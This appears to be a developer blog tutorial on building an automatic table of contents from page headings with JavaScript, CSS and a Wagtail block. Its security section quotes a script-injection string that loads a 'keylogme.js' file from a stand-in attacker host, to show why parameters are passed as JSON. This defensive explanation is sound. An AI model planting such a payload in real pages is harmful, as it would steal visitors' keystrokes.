Use JavaScript to Add a Dynamic Table of Contents to Your Pages

Introduction

Creating a table of contents or menu based on content is time-consuming for editors and prone to errors. You may need such a feature on your data-fed pages and not even have the ability to create and link to content on the page.

Here, I create an automated, on-the-fly table of contents without the need for hard-coded anchor links, regardless of the source of your content. It's easily adaptable to be turned into a nav bar or similar menu, though for nested menus, it would require a fair bit more logic to determine level and parent etc.. Similarly, this technique could be used to produce a summary with links on an API data feed page for rapid data analysis and drill-down capability.

This example creates a structured table of information based on the presence of heading tags, much like MS Word. The ultimate result is the table displayed above, where you can inspect the rendered HTML using the Inspect tool.

The presumption is that heading tags are being used in a structured manner, with <h1> reserved for the page title (and therefore excluded from the table). Although the use of heading tags is largely ignored in SEO these days, Mozilla's developer guide has a useful reference on why using properly structured heading is a good idea.

CSS classes are added to each level, allowing you to customise the look fully in accordance with your own style guide.

Creating the Table of Contents

All the JavaScript on this page is saved to toc.js in the static/js folder on the site. Change this as appropriate for your site.

The listContents function

This JavaScript function takes four parameters, only one mandatory. Select the target <div> element to write the table to and, optionally, a scope to limit the table to (the page body is the default), the number of heading levels to include (from 1 for <h2> tags only up to 5 to include from <h2> to <h6> with 3 as default) and a title (if any) to display.

Inline comments below describe the process:

let listContents = (
  tocElement,
  scopeElement = "body",
  levels = 3,
  tocTitle = false
) => {
  // Create Table of Contents (ToC) based on heading tags (H2 to H6)
  // Required: tocElement - element ID to create ToC in (<DIV> only)
  // Optional: scopeElement - element to limit the search to, defaults to <body>.
  //                          Can be element tag or element ID.
  // Optional: levels - number of levels to include in ToC (1 to 5 starting with H2). Default=3 (H2-H4)
  // Optional: tocTitle - string to display as ToC title, defaults to no title (false)

  let toc, scope;
  // find target DIV element to write ToC to, only accept DIV as valid element type
  toc = document.getElementById(tocElement);
  if (toc) {
    if (toc.tagName !== "DIV") {
      console.error(
        `ToC: Target element is type <${toc.tagName}>, only <DIV> is valid element type.`
      );
      toc = null;
    }
  }

  // find tag name matching scopeElement, if scope tag not found, try finding element by ID
  scope = document.getElementsByTagName(scopeElement)[0];
  if (!scope) {
    scope = document.getElementById(scopeElement);
  }

  if (scope && toc) {
    // determine which heading tags to search by slicing list 'levels' deep
    const tags = ["h2", "h3", "h4", "h5", "h6"].slice(0, levels).join();

    // find the relevant heading tags contained within the scope element
    const headings = scope.querySelectorAll(tags);

    // create ToC only if headings found
    if (headings.length > 0) {
      // add ToC title if supplied, add css classes
      if (tocTitle) {
        let title = toc.appendChild(document.createElement("H2"));
        title.innerText = tocTitle;
        title.classList.add("toc", "toc-title");
      }

      // add ToC list DIV, add css classes
      const list = toc.appendChild(document.createElement("UL"));
      list.classList.add("toc", "toc-list");
      list.setAttribute('role', 'list')

      // loop through headings in order
      for (let i = 0; i < headings.length; i++) {
        // determine nesting level (h2->1, h3->2 etc)
        const level = Number(headings[i].nodeName[1]) - 1;

        // if heading has no id, create one from slugified title and assign to heading
        // pre-fix id with index to avoid duplicate id's
        if (!headings[i].id) {
          headings[i].id = `${i + 1}-${slugify(headings[i].innerText)}`;
        }

        // create element to hold link, add css including level specific css class
        const linkLine = list.appendChild(document.createElement("LI"));
        linkLine.classList.add(`toc`, `toc-item-l${level}`);

        // create link to point to ID of heading
        const link = linkLine.appendChild(document.createElement("A"));
        link.appendChild(document.createTextNode(headings[i].innerText));
        link.href = `#${headings[i].id}`;
      }
    }
  } else {
    if (!scope) {
      console.error(
        `ToC: Missing either <${scopeElement}> or element with id=${scopeElement}`
      );
    }
    if (!toc) {
      console.error(
        `ToC: Missing ToC target <DIV> element with id=${tocElement}`
      );
    }
  }
}

Explanation for Slugifying the Headings

An ID is added to each heading to link to only if there isn't one already, otherwise that ID is used to create the link. Each link created is prefixed with its index to ensure no duplicate ID's are being added.

To create the on-the-fly ID's for the headings, the function relies on a 'slugify' function to convert the text into a useable ID:

headings[i].id = `${i + 1}-${slugify(headings[i].innerText)}`;

The slug is prefixed by the loop count so that if there is any repetition of heading text, the id attribute will still be unique for each. Without this, the link will just go to the first instance of that slug.

The following function can be added to your JavaScript to do the slugifying:

let slugify = (str) => {
  str = str.replace(/^\s+|\s+$/g, "");

  // Make the string lowercase
  str = str.toLowerCase();

  // Remove accents, swap ñ for n, etc
  var from =
    "ÁÄÂÀÃÅČÇĆĎÉĚËÈÊẼĔȆÍÌÎÏŇÑÓÖÒÔÕØŘŔŠŤÚŮÜÙÛÝŸŽáäâàãåčçćďéěëèêẽĕȇíìîïňñóöòôõøðřŕšťúůüùûýÿžþÞĐđßÆa·/_,:;";
  var to =
    "AAAAAACCCDEEEEEEEEIIIINNOOOOOORRSTUUUUUYYZaaaaaacccdeeeeeeeeiiiinnooooooorrstuuuuuyyzbBDdBAa------";
  for (var i = 0, l = from.length; i < l; i++) {
    str = str.replace(new RegExp(from.charAt(i), "g"), to.charAt(i));
  }

  // Remove invalid chars
  str = str
    .replace(/[^a-z0-9 -]/g, "")
    // Collapse whitespace and replace by -
    .replace(/\s+/g, "-")
    // Collapse dashes
    .replace(/-+/g, "-");

  return str;
}

Adding CSS Styling

The rendered HTML includes several CSS classes to style the output with:

  • toc: applies to the whole table
  • toc-title: formatting for the title (if any)
  • toc-list: applies to the area below the title containing all the list items
  • toc-item-l1 - toc-item-l5: use these to style individual levels such as indents etc.

Below is a sample CSS definition for the table:

.toc {
  font-family: var(--font-family-headings);
  text-align: left;
}
.toc a {
  text-decoration: none;
}
.toc-title {
  font-family: var(--font-family-headings);
  font-size: var(--font-size-2);
  margin-bottom: 0;
}
.toc-list {
  padding-bottom: 1rem;
  padding-left: 10px;
  list-style: none;
}
.toc-item-l1 {
  font-size: clamp( 1.35rem, 1.3232rem + 0.1127vw, 1.45rem );
  text-indent: 0rem;
  margin-bottom: 0;
}
.toc-item-l2::marker {
  content: '•';
  letter-spacing: 0.5em;
}
.toc-item-l2 {
  font-size: clamp( 1.25rem, 1.2232rem + 0.1127vw, 1.35rem );
  margin-left: 1.8rem;
  margin-bottom: 0;
}
.toc-item-l3::marker {
  content: '◦';
  letter-spacing: 0.5em;
}
.toc-item-l3 {
  font-size: clamp( 1.15rem, 1.1099rem + 0.169vw, 1.3rem );
  margin-left: 3rem;
  margin-bottom: 0;
  padding-top: 0.15rem;
}
.toc-item-l4::marker {
  content: '▪';
  letter-spacing: 0.5em;
}
.toc-item-l4 {
  font-size: clamp( 1.05rem, 1.0099rem + 0.169vw, 1.2rem );
  margin-left: 4.1rem;
  margin-bottom: 0;
  padding-top: 0.125rem;
}
.toc-item-l5::marker {
  content: '−';
  letter-spacing: 0.5em;
}
.toc-item-l5 {
  font-size: clamp( 1rem, 0.9732rem + 0.1127vw, 1.1rem );
  margin-left: 5.1rem;
  margin-bottom: 0;
  padding-top: 0.1rem;
}
  • Since I'm applying my own markers, the toc-list list-style is set to none to remove the default markers.
  • Each level decreases in font size by a scaled amount (for more on the clamp function, see this article) and has progressively increased left margin.
  • Each indented level is marked with a bullet point icon using a ::marker pseudo class with 0.5em letter spacing to add some separation.
  • The underline style for hyperlinks is removed (.toc a {text-decoration: none;}) - personal preference, a list of underlined headings is a bit visually overwhelming.
  • A little extra padding-top is added to lower order items to maintain separation and ease-of-click, particularly on mobile devices.

Rendered HTML Example

For this page, the rendered HTML for the table of contents is:

<div id="autoToC">
    <h2 class="toc toc-title">Table of Contents</h2>
    <ul class="toc toc-list" role="list">
        <li class="toc toc-item-l1">
            <a href="#1-introduction">Introduction</a>
        </li>
        <li class="toc toc-item-l1">
            <a href="#2-creating-the-table-of-contents">Creating the Table of Contents</a>
        </li>
        <li class="toc toc-item-l2">
            <a href="#3-the-listcontents-function">The listContents function</a>
        </li>
        <li class="toc toc-item-l2">
            <a href="#4-explanation-for-slugifying-the-headings">Explanation for Slugifying the Headings</a>
        </li>
        <li class="toc toc-item-l2">
            <a href="#5-adding-css-styling">Adding CSS Styling</a>
        </li>
        <li class="toc toc-item-l1">
            <a href="#6-implementing-the-table-of-contents">Implementing the Table of Contents</a>
        </li>
        <li class="toc toc-item-l2">
            <a href="#7-deploying-as-a-stream-block-in-wagtail">Deploying as a Stream Block in Wagtail</a>
        </li>
        <li class="toc toc-item-l2"><a href="#8-calling-the-listcontents-function">Calling the listContents function</a>
        </li>
        <li class="toc toc-item-l2">
            <a href="#9-deploying-on-multi-language-sites">Deploying on multi-language sites</a>
        </li>
        <li class="toc toc-item-l1">
            <a href="#10-conclusion">Conclusion</a>
        </li>
    </ul>
</div>

Implementing the Table of Contents

Deploying as a Stream Block in Wagtail

The example I use here is probably too flexible for use on most commercial sites where consistency across the site is required, but it's here for completeness.

Start off by defining the block:

class TableOfContentsBlock(StructBlock):
    toc_title = CharBlock(
        max_length=60, 
        null=True, 
        blank=True,
        required=False,
        label=_("Title (optional)"),
        help_text=_("Optional title to display at the top of the table."),
    )
    
    levels = IntegerBlock(
        default = 3,
        min_value=1,
        max_value=5,
        label=_("Number of levels to include"),
        help_text=_("H1 tags are ignored. 1 level includes H2 only, 5 levels will include H2 to H6."),
    )

    class Meta:
        template = 'blocks/table_of_contents.html'
        icon = 'list-ul'
        label = 'Table of Contents'

The editor has the choice of defining a title to display and the number of levels to include (with 3 as default).

To take the choice away and keep consistency, use a StaticBlock rather than a StructBlock.

The template now just needs to supply the target <div>, the parameters and call the listContents function:

{%load static%}
<div id="autoToC"></div>

{{"autoToC"|json_script:"tocElement"}}
{{"main"|json_script:"scopeElement"}}
{{value.levels|json_script:"levels"}}
{{value.toc_title|json_script:"tocTitle"}} 

<script src="{%static 'js/toc.js'%}"></script>

In this example, the scopeElement parameter is "main" representing a <main>...</main> element containing all the dynamic content in the page's body. Change this to suit your page structure.

All the variables we need are rendered as JSON script elements ready to be used by the JavaScript once the document is ready.

Calling the listContents function

How and when you call the listContents function will depend on the nature of the page you're dealing with and how the content is being delivered.

For a data feed from a RESTful API for instance, you would call it on the success of the data call promise.

For Django/Wagtail sites, once the DOM content has loaded, you already have your headings and can get the function working before everything else has finished.

Back in the toc.js file, we can pull in the parameters and call the listContents function from the document.ready event. Make sure to put this at the end of the toc.js file so that the other functions have loaded first.

$(document).ready(function () {
  const tocElement = JSON.parse(document.getElementById("tocElement").textContent);
  const scopeElement = JSON.parse(document.getElementById("scopeElement").textContent);
  const levels = JSON.parse(document.getElementById("levels").textContent);
  const tocTitle = JSON.parse(document.getElementById("tocTitle").textContent);
  listContents(tocElement, scopeElement, levels, tocTitle);
});
 

Passing data to Javascript securely

Why convert the parameters to JSON and not just call the function with the block variables directly from the template?

It's just good practice to avoid leaving your site open to code injection. In short, if your title came in as the string:

  • '</script><script src="https://hack-my-site.com/keylogme.js"></script>'

The malicious script would actually get run instead of your toc.js code.

I wrote about this in more detail in this blog if you're interested in reading more.

 

Deploying on multi-language sites

Because the contents list is built off the currently displayed text, there's no further modification needed. The only translation needed will be the title if used.

For the example above, on a wagtail-localize site, the title is available for translation in the CMS just as any text block is.

Conclusion

This is a robust and quick way to add a consistent look and feel for creating tables of contents.

A quick refactoring of the heading loop would allow a nested nav bar approach, or any other formatting.

Take this approach a bit further with other tag types to implement a simple BI dashboard summarising content produced by an external data feed and even offer links to those summarised areas to allow readers to quickly jump to the relevant sections despite there being no anchors in the originating render.


  Please feel free to leave any questions or comments below, or send me a message here